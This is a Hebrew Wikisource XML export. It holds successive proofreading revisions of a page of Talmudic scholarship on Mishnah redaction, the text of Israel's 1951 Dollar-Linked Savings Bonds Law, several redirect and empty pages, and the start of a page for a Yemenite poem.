  <page>
    <title>עמוד:דורות הראשונים ד.pdf/423</title>
    <ns>104</ns>
    <id>1744411</id>
    <revision>
      <id>3020727</id>
      <timestamp>2026-06-19T07:27:58Z</timestamp>
      <contributor>
        <username>יעקב</username>
        <id>15222</id>
      </contributor>
      <comment>/* לא בוצעה הגהה */ יצירת דף עם התוכן &quot;‫‪852‬‬  ‫סוף סידור המשנה וחתימתה &lt;קטע התחלה=פרק נד/&gt; והמשנה האחרת שרמז עליה הרמב&quot;ן ז&quot;ל בפרקין דלעיל היא [[נדרים נג א|ד׳ נ&quot;ג]]:  ״חטה חטין שאני טועם אסור בהן בין קמח בין הפת גריס גריסין שאני טועם אסור בהן בין חיין בין מבושלין ר' יהודה אומר קונם גריס או חטה שאני...&quot;</comment>
      <origin>3020727</origin>
      <model>proofread-page</model>
      <format>text/x-wiki</format>
      <text bytes="4594" sha1="dttlb9wblfx89n4g4b2hk5e8d6njk0g" xml:space="preserve">&lt;noinclude&gt;&lt;pagequality level=&quot;1&quot; user=&quot;יעקב&quot; /&gt;&lt;/noinclude&gt;‫‪852‬‬

‫סוף סידור המשנה וחתימתה
&lt;קטע התחלה=פרק נד/&gt;
והמשנה האחרת שרמז עליה הרמב&quot;ן ז&quot;ל בפרקין דלעיל היא [[נדרים נג א|ד׳ נ&quot;ג]]:

״חטה חטין שאני טועם אסור בהן בין קמח בין הפת גריס גריסין שאני
טועם אסור בהן בין חיין בין מבושלין ר' יהודה אומר קונם גריס או חטה שאני
טועם מותר לכוס חיים.״

ומבואר לנו מכל זה שרב־י ר׳ יהודה נפי דברי רבינו הרמבין זיל בלשונו‬
‫״שלא בא ר׳ יהודה אלא לפרש דברי הכמים״ או ככל מה שבבר נתבאר לנו לא‬
‫בא ר׳ יהודה אלא לפרש דברי יסוד המשנה‪.‬‬
‫וכל בהאי נוונא הוא לעולם לפרש דברי יסוד המשנה )ע״ט(‪ ,‬ועל הרוב נם‬
‫יידיז =‪ 1‬׳ ‪.‬‬


‫זולתי כשיש על זה בנם׳ שיש מהתנאים חולקין עליו‪ ,‬ולא יפרשו המשנה‬
‫כן‪ ,‬או שתנאי המתיבתא כללו דברי תנא החולק בתוך לשון יסוד המשנה‪,‬‬
‫‪,‬‬
‫י‬
‫ונתפרש בנד׳‪.‬‬
‫אכל כל שאין שם בברייתות וב‪:‬מ׳ כן‪ ,‬דבר פשוט הוא שבא זה ■במשנה‬
‫רק לפרש‪ ,‬והלכה כן‪.‬‬
‫ובמשנה חולין ד׳ ניט פיג‪ .‬משנה ו׳ בא ״ובחגבים כל שיש לוי ארבע רגלים‬
‫וארבע כנפים וקרסולים וכנפיו חופין את רובו ר׳ יוסי אומר ושמו הנב׳‪.‬‬
‫וכבר כתבו שם התום׳ והרא״ש אחריהם בפי־ק אלו טרפות סי׳ ס״ו‪:‬‬
‫״ומתוך זה הי׳ אומר הריבי'ם זיל דר׳ יוסי דמתניתן ס פ ר ש ד ב ר י ת י ק‬
‫ולא פליג מדאכשר 'תיק בארבע סימנים ולא בעי אין ראשו ארוך אם כן סבר‬
‫כתנא'דבי ר׳ ישמעאל ואייתר ליה חגב לרבות שמו חנב הלכך האידנא אפי׳ הגב‬
‫הבא בארבע סימנים אין לאוכלו אלא במסורת עד שיהא מקובל ששמו חנב״‪.‬‬
‫והנה הוכיחו זה רבותינו ‪ .‬מתוך הוכחה של הדרשות‪ ,‬והדבר ידוע כי לא‬
‫מהדרשות נבנו הדינים‪ ,‬ובפרט יסודי הדברים‪.‬‬
‫אכל הדבר פשוט שאין כאן תיק כי אם י_סוד המשנה‪ ,‬ככל דברי הבללים‬
‫׳‪,‬‬
‫במשנה‪ ,‬ודברי ר׳ יוסי אינם כי אם לפרש‪.‬‬
‫ועל פי הדברים האלה נם נעמוד על טעמו של הרב אלפסי זיל שכתב‬
‫המשנה כצורתה מפני שסמך כי הדבר פשוט דר׳ ־יוסי בא רק לפי ש‪.‬‬
‫והראשונים זיל תמהו' עליו וחשבו שדעתו דרבנן פליני עליה דר׳ יוסי‬
‫והתפלאו שזו מנין לו וכתב הר״ן‪:‬‬
‫״ונראה דעת הרב אלפסי זיל ש ה ב י א מ ‪.‬ש נ ת נ ז כ צ ו ר ת ה ולא ‪£‬ירש י'‬

‫כלום דרבנן פליגי‪,‬עליה דר׳ יוסי ולא בעו שיהא שמו חגב ו ה ו א מ ן ה ת י מ א‬
‫דבנמ׳ וכו׳ אלמא תנא דמתניתן בראשו ארוך כתנא דבי ד׳ ישמעאל סבירא ליה‬
‫וכיון דסבירא ליה כוותיה על כרחך בעינן שיהא שמו חנב וכו׳ ור׳ יוסי דקאמר‬
‫ושמו ח ג ב ל א מ י פ ל נ פ ל י נ א ל א פ י ר ו ש י ה ו א ד ק א מ פ ר ש דת־ק‬
‫הערח )ע״ט( וזה שאמרו בגם׳ על‪ /‬ר׳ יהודה ביתוד ל׳ענין ״אימתי׳ וגם ‪ S‬ענין ״בסה‬
‫דברים אמורים׳ ז ה‪ ,‬הו א שיהי׳ זה לכלל שבכל מקום הדבר בן‪ ,‬וזה אינו אזיל ״ר׳ יהודה או מ ר *‬
‫שזה ודאי שיש שם מקומות אין מספר אשר ״ר׳ מאיר אומר׳ או ״ר׳ יהודה אומר׳ או ״ר׳ יוסי‬
‫אומר׳ הזא לחלוק‪.‬‬
‫אבל כשאין זה עם תנאים חביריז‪ ,‬וכשהוא על יסוד המשנה ככל אשר כבר נתבאר ענין‬
‫הדבר‪ ,‬אז הוא רק לפרש‪.‬‬&lt;noinclude&gt;&lt;/noinclude&gt;</text>
      <sha1>dttlb9wblfx89n4g4b2hk5e8d6njk0g</sha1>
    </revision>
    <revision>
      <id>3020728</id>
      <parentid>3020727</parentid>
      <timestamp>2026-06-19T07:33:07Z</timestamp>
      <contributor>
        <username>יעקב</username>
        <id>15222</id>
      </contributor>
      <origin>3020728</origin>
      <model>proofread-page</model>
      <format>text/x-wiki</format>
      <text bytes="4446" sha1="3w9n5uugiowx44leaglqhl067ejufav" xml:space="preserve">&lt;noinclude&gt;&lt;pagequality level=&quot;1&quot; user=&quot;יעקב&quot; /&gt;&lt;/noinclude&gt;‫‪852‬‬

‫סוף סידור המשנה וחתימתה
&lt;קטע התחלה=פרק נד/&gt;
והמשנה האחרת שרמז עליה הרמב&quot;ן ז&quot;ל בפרקין דלעיל היא [[נדרים נג ב|ד׳ נ&quot;ג]]:

״חטה חטין שאני טועם אסור בהן בין קמח בין הפת גריס גריסין שאני
טועם אסור בהן בין חיין בין מבושלין ר' יהודה אומר קונם גריס או חטה שאני
טועם מותר לכוס חיים.״

ומבואר לנו מכל זה שדברי ר׳ יהודה כפי דברי רבינו הרמב&quot;ן ז&quot;ל בלשונו
״שלא בא ר׳ יהודה אלא לפרש דברי חכמים״ או ככל מה שכבר נתבאר לנו לא
בא ר׳ יהודה אלא לפרש דברי יסוד המשנה.

וכל כהאי גוונא הוא לעולם לפרש דברי יסוד המשנה{{שוליים|(עט), ועל הרוב גם
הדין כן.

זולתי כשיש על זה בגמ׳ שיש מהתנאים חולקין עליו, ולא יפרשו המשנה
כן, או שתנאי המתיבתא כללו דברי תנא החולק בתוך לשון יסוד המשנה,
ונתפרש בגמ׳.

אבל כל שאין שם בברייתות ובגמ׳ כן, דבר פשוט הוא שבא זה במשנה
רק לפרש, והלכה כן.


ובמשנה חולין ד׳ ניט פיג‪ .‬משנה ו׳ בא ״ובחגבים כל שיש לוי ארבע רגלים‬
‫וארבע כנפים וקרסולים וכנפיו חופין את רובו ר׳ יוסי אומר ושמו הנב׳‪.‬‬
‫וכבר כתבו שם התום׳ והרא״ש אחריהם בפי־ק אלו טרפות סי׳ ס״ו‪:‬‬
‫״ומתוך זה הי׳ אומר הריבי'ם זיל דר׳ יוסי דמתניתן ס פ ר ש ד ב ר י ת י ק‬
‫ולא פליג מדאכשר 'תיק בארבע סימנים ולא בעי אין ראשו ארוך אם כן סבר‬
‫כתנא'דבי ר׳ ישמעאל ואייתר ליה חגב לרבות שמו חנב הלכך האידנא אפי׳ הגב‬
‫הבא בארבע סימנים אין לאוכלו אלא במסורת עד שיהא מקובל ששמו חנב״‪.‬‬
‫והנה הוכיחו זה רבותינו ‪ .‬מתוך הוכחה של הדרשות‪ ,‬והדבר ידוע כי לא‬
‫מהדרשות נבנו הדינים‪ ,‬ובפרט יסודי הדברים‪.‬‬
‫אכל הדבר פשוט שאין כאן תיק כי אם י_סוד המשנה‪ ,‬ככל דברי הבללים‬
‫׳‪,‬‬
‫במשנה‪ ,‬ודברי ר׳ יוסי אינם כי אם לפרש‪.‬‬
‫ועל פי הדברים האלה נם נעמוד על טעמו של הרב אלפסי זיל שכתב‬
‫המשנה כצורתה מפני שסמך כי הדבר פשוט דר׳ ־יוסי בא רק לפי ש‪.‬‬
‫והראשונים זיל תמהו' עליו וחשבו שדעתו דרבנן פליני עליה דר׳ יוסי‬
‫והתפלאו שזו מנין לו וכתב הר״ן‪:‬‬
‫״ונראה דעת הרב אלפסי זיל ש ה ב י א מ ‪.‬ש נ ת נ ז כ צ ו ר ת ה ולא ‪£‬ירש י'‬

‫כלום דרבנן פליגי‪,‬עליה דר׳ יוסי ולא בעו שיהא שמו חגב ו ה ו א מ ן ה ת י מ א‬
‫דבנמ׳ וכו׳ אלמא תנא דמתניתן בראשו ארוך כתנא דבי ד׳ ישמעאל סבירא ליה‬
‫וכיון דסבירא ליה כוותיה על כרחך בעינן שיהא שמו חנב וכו׳ ור׳ יוסי דקאמר‬
‫ושמו ח ג ב ל א מ י פ ל נ פ ל י נ א ל א פ י ר ו ש י ה ו א ד ק א מ פ ר ש דת־ק‬
‫הערח )ע״ט( וזה שאמרו בגם׳ על‪ /‬ר׳ יהודה ביתוד ל׳ענין ״אימתי׳ וגם ‪ S‬ענין ״בסה‬
‫דברים אמורים׳ ז ה‪ ,‬הו א שיהי׳ זה לכלל שבכל מקום הדבר בן‪ ,‬וזה אינו אזיל ״ר׳ יהודה או מ ר *‬
‫שזה ודאי שיש שם מקומות אין מספר אשר ״ר׳ מאיר אומר׳ או ״ר׳ יהודה אומר׳ או ״ר׳ יוסי‬
‫אומר׳ הזא לחלוק‪.‬‬
‫אבל כשאין זה עם תנאים חביריז‪ ,‬וכשהוא על יסוד המשנה ככל אשר כבר נתבאר ענין‬
‫הדבר‪ ,‬אז הוא רק לפרש‪.‬‬&lt;noinclude&gt;&lt;/noinclude&gt;</text>
      <sha1>3w9n5uugiowx44leaglqhl067ejufav</sha1>
    </revision>
    <revision>
      <id>3020729</id>
      <parentid>3020728</parentid>
      <timestamp>2026-06-19T07:34:57Z</timestamp>
      <contributor>
        <username>יעקב</username>
        <id>15222</id>
      </contributor>
      <origin>3020729</origin>
      <model>proofread-page</model>
      <format>text/x-wiki</format>
      <text bytes="4439" sha1="3ter15ag2ran5juwhd5aq9ai7sp02zm" xml:space="preserve">&lt;noinclude&gt;&lt;pagequality level=&quot;1&quot; user=&quot;יעקב&quot; /&gt;&lt;/noinclude&gt;‫‪852‬‬

‫סוף סידור המשנה וחתימתה
&lt;קטע התחלה=פרק נד/&gt;
והמשנה האחרת שרמז עליה הרמב&quot;ן ז&quot;ל בפרקין דלעיל היא [[נדרים נג ב|ד׳ נ&quot;ג]]:

״חטה חטין שאני טועם אסור בהן בין קמח בין הפת גריס גריסין שאני
טועם אסור בהן בין חיין בין מבושלין ר' יהודה אומר קונם גריס או חטה שאני
טועם מותר לכוס חיים.״

ומבואר לנו מכל זה שדברי ר׳ יהודה כפי דברי רבינו הרמב&quot;ן ז&quot;ל בלשונו
״שלא בא ר׳ יהודה אלא לפרש דברי חכמים״ או ככל מה שכבר נתבאר לנו לא
בא ר׳ יהודה אלא לפרש דברי יסוד המשנה.

וכל כהאי גוונא הוא לעולם לפרש דברי יסוד המשנה{{שוליים|(עט)}}, ועל הרוב גם
הדין כן.

זולתי כשיש על זה בגמ׳ שיש מהתנאים חולקין עליו, ולא יפרשו המשנה
כן, או שתנאי המתיבתא כללו דברי תנא החולק בתוך לשון יסוד המשנה,
ונתפרש בגמ׳.

אבל כל שאין שם בברייתות ובגמ׳ כן, דבר פשוט הוא שבא זה במשנה
רק לפרש, והלכה כן.


ובמשנה חולין ד׳ ניט פיג‪ .‬משנה ו׳ בא ״ובחגבים כל שיש לוי ארבע רגלים‬
‫וארבע כנפים וקרסולים וכנפיו חופין את רובו ר׳ יוסי אומר ושמו הנב׳‪.‬‬
‫וכבר כתבו שם התום׳ והרא״ש אחריהם בפי־ק אלו טרפות סי׳ ס״ו‪:‬‬
‫״ומתוך זה הי׳ אומר הריבי'ם זיל דר׳ יוסי דמתניתן ס פ ר ש ד ב ר י ת י ק‬
‫ולא פליג מדאכשר 'תיק בארבע סימנים ולא בעי אין ראשו ארוך אם כן סבר‬
‫כתנא'דבי ר׳ ישמעאל ואייתר ליה חגב לרבות שמו חנב הלכך האידנא אפי׳ הגב‬
‫הבא בארבע סימנים אין לאוכלו אלא במסורת עד שיהא מקובל ששמו חנב״‪.‬‬
‫והנה הוכיחו זה רבותינו ‪ .‬מתוך הוכחה של הדרשות‪ ,‬והדבר ידוע כי לא‬
‫מהדרשות נבנו הדינים‪ ,‬ובפרט יסודי הדברים‪.‬‬
‫אכל הדבר פשוט שאין כאן תיק כי אם י_סוד המשנה‪ ,‬ככל דברי הבללים‬
‫׳‪,‬‬
‫במשנה‪ ,‬ודברי ר׳ יוסי אינם כי אם לפרש‪.‬‬
‫ועל פי הדברים האלה נם נעמוד על טעמו של הרב אלפסי זיל שכתב‬
‫המשנה כצורתה מפני שסמך כי הדבר פשוט דר׳ ־יוסי בא רק לפי ש‪.‬‬
‫והראשונים זיל תמהו' עליו וחשבו שדעתו דרבנן פליני עליה דר׳ יוסי‬
‫והתפלאו שזו מנין לו וכתב הר״ן‪:‬‬
‫״ונראה דעת הרב אלפסי זיל ש ה ב י א מ ‪.‬ש נ ת נ ז כ צ ו ר ת ה ולא ‪£‬ירש י'‬

‫כלום דרבנן פליגי‪,‬עליה דר׳ יוסי ולא בעו שיהא שמו חגב ו ה ו א מ ן ה ת י מ א‬
‫דבנמ׳ וכו׳ אלמא תנא דמתניתן בראשו ארוך כתנא דבי ד׳ ישמעאל סבירא ליה‬
‫וכיון דסבירא ליה כוותיה על כרחך בעינן שיהא שמו חנב וכו׳ ור׳ יוסי דקאמר‬
‫ושמו ח ג ב ל א מ י פ ל נ פ ל י נ א ל א פ י ר ו ש י ה ו א ד ק א מ פ ר ש דת־ק‬

-----------------

{{שולייםלמטה|(עט)}} וזה שאמרו בגמ׳ על ר׳ יהודה ביחוד לענין ״אימתי&quot; וגם לענין ״במה
דברים אמורים&quot; זה הוא שיהי׳ זה לכלל שבכל מקום הדבר כן, וזה אינו אצל ״ר׳ יהודה או מ ר *‬
‫שזה ודאי שיש שם מקומות אין מספר אשר ״ר׳ מאיר אומר׳ או ״ר׳ יהודה אומר׳ או ״ר׳ יוסי‬
‫אומר׳ הזא לחלוק‪.‬‬
‫אבל כשאין זה עם תנאים חביריז‪ ,‬וכשהוא על יסוד המשנה ככל אשר כבר נתבאר ענין‬
‫הדבר‪ ,‬אז הוא רק לפרש‪.‬‬&lt;noinclude&gt;&lt;/noinclude&gt;</text>
      <sha1>3ter15ag2ran5juwhd5aq9ai7sp02zm</sha1>
    </revision>
    <revision>
      <id>3020730</id>
      <parentid>3020729</parentid>
      <timestamp>2026-06-19T07:48:48Z</timestamp>
      <contributor>
        <username>יעקב</username>
        <id>15222</id>
      </contributor>
      <origin>3020730</origin>
      <model>proofread-page</model>
      <format>text/x-wiki</format>
      <text bytes="4435" sha1="57iyuvt6hd3ikewi9s2b5e3556swkr7" xml:space="preserve">&lt;noinclude&gt;&lt;pagequality level=&quot;1&quot; user=&quot;יעקב&quot; /&gt;&lt;/noinclude&gt;‫‪852‬‬

‫סוף סידור המשנה וחתימתה
&lt;קטע התחלה=פרק נד/&gt;
והמשנה האחרת שרמז עליה הרמב&quot;ן ז&quot;ל בפרקין דלעיל היא [[נדרים נג ב|ד׳ נ&quot;ג]]:

״חטה חטין שאני טועם אסור בהן בין קמח בין הפת גריס גריסין שאני
טועם אסור בהן בין חיין בין מבושלין ר' יהודה אומר קונם גריס או חטה שאני
טועם מותר לכוס חיים.״

ומבואר לנו מכל זה שדברי ר׳ יהודה כפי דברי רבינו הרמב&quot;ן ז&quot;ל בלשונו
״שלא בא ר׳ יהודה אלא לפרש דברי חכמים״ או ככל מה שכבר נתבאר לנו לא
בא ר׳ יהודה אלא לפרש דברי יסוד המשנה.

וכל כהאי גוונא הוא לעולם לפרש דברי יסוד המשנה{{שוליים|(עט)}}, ועל הרוב גם
הדין כן.

זולתי כשיש על זה בגמ׳ שיש מהתנאים חולקין עליו, ולא יפרשו המשנה
כן, או שתנאי המתיבתא כללו דברי תנא החולק בתוך לשון יסוד המשנה,
ונתפרש בגמ׳.

אבל כל שאין שם בברייתות ובגמ׳ כן, דבר פשוט הוא שבא זה במשנה
רק לפרש, והלכה כן.

ובמשנה [[חולין נט א|חולין ד׳ נ&quot;ט]] [[משנה חולין ג ו|פ&quot;ג משנה ו׳]] בא ״ובחגבים כל שיש לו ארבע רגלים
וארבע כנפים וקרסולים וכנפיו חופין את רובו ר׳ יוסי אומר ושמו חגב&quot;.

וכבר כתבו שם התוס׳ והרא״ש אחריהם בפרק אלו טרפות סי׳ ס״ו:

״ומתוך זה הי׳ אומר הריב&quot;ם ז&quot;ל דר׳ יוסי דמתניתן '''מפרש דברי ת&quot;ק'''
ולא פליג מדאכשר ת&quot;ק בארבע סימנים ולא בעי אין ראשו ארוך אם כן סבר‬
‫כתנא'דבי ר׳ ישמעאל ואייתר ליה חגב לרבות שמו חנב הלכך האידנא אפי׳ הגב‬
‫הבא בארבע סימנים אין לאוכלו אלא במסורת עד שיהא מקובל ששמו חנב״‪.‬‬
‫והנה הוכיחו זה רבותינו ‪ .‬מתוך הוכחה של הדרשות‪ ,‬והדבר ידוע כי לא‬
‫מהדרשות נבנו הדינים‪ ,‬ובפרט יסודי הדברים‪.‬‬
‫אכל הדבר פשוט שאין כאן תיק כי אם י_סוד המשנה‪ ,‬ככל דברי הבללים‬
‫׳‪,‬‬
‫במשנה‪ ,‬ודברי ר׳ יוסי אינם כי אם לפרש‪.‬‬
‫ועל פי הדברים האלה נם נעמוד על טעמו של הרב אלפסי זיל שכתב‬
‫המשנה כצורתה מפני שסמך כי הדבר פשוט דר׳ ־יוסי בא רק לפי ש‪.‬‬
‫והראשונים זיל תמהו' עליו וחשבו שדעתו דרבנן פליני עליה דר׳ יוסי‬
‫והתפלאו שזו מנין לו וכתב הר״ן‪:‬‬
‫״ונראה דעת הרב אלפסי זיל ש ה ב י א מ ‪.‬ש נ ת נ ז כ צ ו ר ת ה ולא ‪£‬ירש י'‬

‫כלום דרבנן פליגי‪,‬עליה דר׳ יוסי ולא בעו שיהא שמו חגב ו ה ו א מ ן ה ת י מ א‬
‫דבנמ׳ וכו׳ אלמא תנא דמתניתן בראשו ארוך כתנא דבי ד׳ ישמעאל סבירא ליה‬
‫וכיון דסבירא ליה כוותיה על כרחך בעינן שיהא שמו חנב וכו׳ ור׳ יוסי דקאמר‬
‫ושמו ח ג ב ל א מ י פ ל נ פ ל י נ א ל א פ י ר ו ש י ה ו א ד ק א מ פ ר ש דת־ק‬

-----------------

{{שולייםלמטה|(עט)}} וזה שאמרו בגמ׳ על ר׳ יהודה ביחוד לענין ״אימתי&quot; וגם לענין ״במה
דברים אמורים&quot; זה הוא שיהי׳ זה לכלל שבכל מקום הדבר כן, וזה אינו אצל ״ר׳ יהודה או מ ר *‬
‫שזה ודאי שיש שם מקומות אין מספר אשר ״ר׳ מאיר אומר׳ או ״ר׳ יהודה אומר׳ או ״ר׳ יוסי‬
‫אומר׳ הזא לחלוק‪.‬‬
‫אבל כשאין זה עם תנאים חביריז‪ ,‬וכשהוא על יסוד המשנה ככל אשר כבר נתבאר ענין‬
‫הדבר‪ ,‬אז הוא רק לפרש‪.‬‬&lt;noinclude&gt;&lt;/noinclude&gt;</text>
      <sha1>57iyuvt6hd3ikewi9s2b5e3556swkr7</sha1>
    </revision>
  </page>
  <page>
    <title>חוק שטרי-חסכון צמודי-דולר</title>
    <ns>0</ns>
    <id>1744412</id>
    <revision>
      <id>3020734</id>
      <timestamp>2026-06-19T09:00:10Z</timestamp>
      <contributor>
        <username>OpenLawBot</username>
        <id>8112</id>
      </contributor>
      <comment>[3019824] חוק שטרי-חסכון צמודי-דולר</comment>
      <origin>3020734</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="6496" sha1="bb441bz8fpev4bexxgldmbga4jafa0j" xml:space="preserve">{{ח:התחלה}}
{{ח:כותרת|חוק שטרי־חסכון צמודי־דולר, תשי״א–1951}}

{{ח:פתיח-התחלה}}
{{ח:מאגר|2001224}} {{ח:תיבה|ס״ח תשי״א, 108|חוק שטרי־חסכון צמודי־דולר|https://fs.knesset.gov.il/1/law/1_lsr_209533.pdf}}.
{{ח:סוגר}}
{{ח:מפריד}}

{{ח:קטע2||תוכן עניינים}}

&lt;div class=&quot;law-toc&quot;&gt;
&lt;/div&gt;

{{ח:סעיף|1|סמכות להוציא שטרי־&lt;wbr&gt;חסכון צמודי־&lt;wbr&gt;דולר}}
{{ח:תת|(א)}} שר האוצר מורשה בזה להוציא, בשם מדינת ישראל, ניירות־ערך שייקראו ”שטרי־חסכון צמודי־דולר“ (להלן – שטרי־חסכון).
{{ח:תת|(ב)}} שטרי החסכון יוצאו בסדרות.
{{ח:תת|(ג)}} שטרי החסכון ייערכו לזכות הבעלים הרשומים, ולא יהיו ניתנים להעברה, לערבות או לשעבוד.

{{ח:סעיף|2|הגבלות על רכישת שטרי־&lt;wbr&gt;חסכון}}
{{ח:תת|(א)}} שטרי־חסכון לא יוצאו לחבר בני אדם, בין מאוגד ובין בלתי מאוגד, אלא אם שר האוצר הורה אחרת, בתקנות, אם דרך כלל ואם לסוגים.
{{ח:תת|(ב)}} שר האוצר יקבע, בתקנות, בין דרך כלל ובין לסוגים, את הערך הנקוב המכסימלי של שטרי־חסכון שניתן להוציא לאדם אחד.
{{ח:תת|(ג)}} שר האוצר רשאי להורות, בתקנות, שלא יוצאו שטרי־חסכון, אלא לאדם ששילם, בעד תקופה שנקבעה בתקנות, מס לפי פקודת מס הכנסה, 1947; ורשאי הוא, בתקנות, לקבוע סוגים של בני אדם שאותה הוראה לא תחול עליהם.

{{ח:סעיף|3|תנאי שטרי־&lt;wbr&gt;החסכון}}
{{ח:תת|(א)}} שטר־חסכון ישא ריבית או יגדיל את הסכום שתמורתו הוצא (להלן – הקרן) הכל כפי שיקבע שר האוצר בתקנות.
{{ח:תת|(ב)}} שר האוצר יקבע, בתקנות, את סך כל ערכם הנקוב של שטרי־חסכון של כל סדרה וסדרה, דרכי פדיונם ומועדיו, ושיעורי הריבית שלהם או גדילת קרנם בכל שנה, ובלבד שסך כל הריבית או הגדילה עד למועד הפדיון לא יעלה על ממוצע של 3.5 אחוז מן הערך הנקוב לכל שנה.
{{ח:תת|(ג)}} שר האוצר רשאי לקבוע, בתקנות, מועד שלפני מועד הפדיון הקבוע לפי סעיף קטן (ב), שבו ייעשה אחד משנים אלה, הכל כפי שיורה שר האוצר, בהודעה שפורסמה ברשומות לא יאוחר מששה חדשים לפני אותו מועד:
{{ח:תתת|(1)}} ייפדו שטרי החסכון על ידי תשלום הקרן בצירוף הריבית או סכום הגדילה עד אותו מועד;
{{ח:תתת|(2)}} ייהפכו שטרי החסכון לשטרי־חסכון למוכ״ז.
{{ח:ת}} (בחוק זה, פרט לסעיפים 1 ו־2, הביטוי שטר־חסכון כולל שטר־חסכון למוכ״ז).
{{ח:תת|(ד)}} תקנות לפי סעיף זה יותקנו לגבי כל סדרה של שטרי־חסכון לפני הוצאתה, ולא יהיו ניתנות לשינוי.

{{ח:סעיף|4|זכות לדרוש פרעון לפני מועד הפדיון}}
{{ח:ת}} בעל שטר־חסכון זכאי, על ידי מתן הודעה מוקדמת של שלושים יום, לדרוש בכל עת, לפני מועד הפדיון, או – אם נקבע מועד לפי סעיף 3(ג) – לפני אותו מועד, את פרעון סכום הקרן של שטר החסכון, בצירוף הריבית או סכום הגדילה עד תום זמן ההודעה המוקדמת.

{{ח:סעיף|5|הצמדה לשער הדולר}}
{{ח:תת|(א)}} בעד כל לירה מהסכומים העומדים לתשלום לפי שטרי החסכון ישולם בלירות סכום השווה ל־2.80 דולר (מטבע של ארצות הברית של אמריקה) לפי שער הקניה הגבוה ביותר שהיה קבוע לדולר בישראל תוך ששת החדשים שלפני מועד הפדיון. ואולם, אם במועד הפדיון לא תהיה קיימת על פי החוק הגבלה על השימוש החפשי בדולרים בישראל, ייעשה התשלום בדולרים לפי שער חליפין של 2.80 דולר ללירה.
{{ח:תת|(ב)}} הוראות סעיף קטן (א) לא יחולו –
{{ח:תתת|(1)}} על פרעון אותו חלק מהערך הנקוב של שטרי־חסכון שהוצאו לאדם אחד – העולה על הערך הנקוב המכסימלי שנקבע על פי סעיף 2(ב);
{{ח:תתת|(2)}} על פרעון מוקדם של שטר חסכון על פי דרישת בעלו לפי סעיף 4.

{{ח:סעיף|6|תשלום ובטחון}}
{{ח:ת}} הקרן והריבית המשתלמים לפי שטרי החסכון, ישולמו מתוך הכנסותיה הכלליות של המדינה ומתוך רכושה.

{{ח:סעיף|7|פטור ממס בולים}}
{{ח:ת}} שטרי החסכון פטורים ממס בולים.

{{ח:סעיף|8|חתימה}}
{{ח:ת}} שטרי החסכון ישאו את חותם חתימותיהם של שר האוצר ושל החשב הכללי.

{{ח:סעיף|9|ערך נקוב ושאר התנאים}}
{{ח:ת}} ערכם הנקוב של שטרי החסכון, צורתם, צורתם, סימונם ושאר תנאיהם ייקבעו בתקנות, במידה שלא נקבעו בחוק זה ובתקנות לפי סעיף 3.

{{ח:סעיף|10|ביצוע ותקנות}}
{{ח:תת|(א)}} שר האוצר ממונה על ביצוע חוק זה, והוא רשאי להתקין תקנות בכל ענין הנוגע לביצועו, אלא שתקנות לפי הסעיפים 2 ו־3 טעונות אישור ועדת הכספים של הכנסת.
{{ח:תת|(ב)}} ההוצאות הכרוכות בביצוע חוק זה ישולמו מתוך אוצר המדינה.

{{ח:חתימות|נתקבל בכנסת ביום ד׳ בניסן תשי״א (10 באפריל 1951).}}
* '''דוד בן־גוריון'''&lt;br&gt;ראש הממשלה
* '''אליעזר קפלן'''&lt;br&gt;שר האוצר
* '''חיים וייצמן'''&lt;br&gt;נשיא המדינה
{{ח:סוגר}}
{{ח:סוף}}
[[קטגוריה:בוט חוקים]]</text>
      <sha1>bb441bz8fpev4bexxgldmbga4jafa0j</sha1>
    </revision>
  </page>
  <page>
    <title>חוק שטרי חסכון צמודי דולר</title>
    <ns>0</ns>
    <id>1744413</id>
    <redirect title="חוק שטרי-חסכון צמודי-דולר" />
    <revision>
      <id>3020735</id>
      <timestamp>2026-06-19T09:00:12Z</timestamp>
      <contributor>
        <username>OpenLawBot</username>
        <id>8112</id>
      </contributor>
      <comment>הפניה</comment>
      <origin>3020735</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="62" sha1="i1doc2f3o2ldd6glmzgv6febpttyi0f" xml:space="preserve">#הפניה [[חוק שטרי-חסכון צמודי-דולר]]</text>
      <sha1>i1doc2f3o2ldd6glmzgv6febpttyi0f</sha1>
    </revision>
  </page>
  <page>
    <title>שיחת מקור:חוק שטרי-חסכון צמודי-דולר</title>
    <ns>117</ns>
    <id>1744414</id>
    <redirect title="שיחה:חוק שטרי-חסכון צמודי-דולר" />
    <revision>
      <id>3020736</id>
      <timestamp>2026-06-19T09:00:14Z</timestamp>
      <contributor>
        <username>OpenLawBot</username>
        <id>8112</id>
      </contributor>
      <comment>הפניה</comment>
      <origin>3020736</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="71" sha1="6qrrceroub81w3y5kp2r5er8brbz885" xml:space="preserve">#הפניה [[שיחה:חוק שטרי-חסכון צמודי-דולר]]</text>
      <sha1>6qrrceroub81w3y5kp2r5er8brbz885</sha1>
    </revision>
  </page>
  <page>
    <title>שיחה:חוק שטרי-חסכון צמודי-דולר</title>
    <ns>1</ns>
    <id>1744415</id>
    <revision>
      <id>3020737</id>
      <timestamp>2026-06-19T09:00:17Z</timestamp>
      <contributor>
        <username>OpenLawBot</username>
        <id>8112</id>
      </contributor>
      <comment>דף ריק</comment>
      <origin>3020737</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="0" sha1="phoiac9h4m842xq45sp7s6u21eteeq1" />
      <sha1>phoiac9h4m842xq45sp7s6u21eteeq1</sha1>
    </revision>
  </page>
  <page>
    <title>קום ידידי בשחרים</title>
    <ns>0</ns>
    <id>1744416</id>
    <revision>
      <id>3020739</id>
      <timestamp>2026-06-19T09:00:34Z</timestamp>
      <contributor>
        <username>אלשרעבי</username>
        <id>45783</id>
      </contributor>
      <comment>יצירת דף עם התוכן &quot;{{בעריכה}} *מחבר: לא ידוע תוכחה שכתב המשורר לידידו הצעיר לעזוב את תענוגי עולם הזה ולהתמסר לרוחניות, על ידי שיבוא לעיר דמאר שבדרום תימן - עיר מלאה חכמים וסופרים, כמבואר בגוף השיר. השיר מבאר בתחילתו את דרכי עבודת ה', עזיבת הרע והדבקות בה'. בהמשך עובר לתאר את עיר...&quot;</comment>
      <origin>3020739</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1843" sha1="eck02tpaubbfr7xtp7u0i5s8pyj9fl2" xml:space="preserve">{{בעריכה}}
*מחבר: לא ידוע
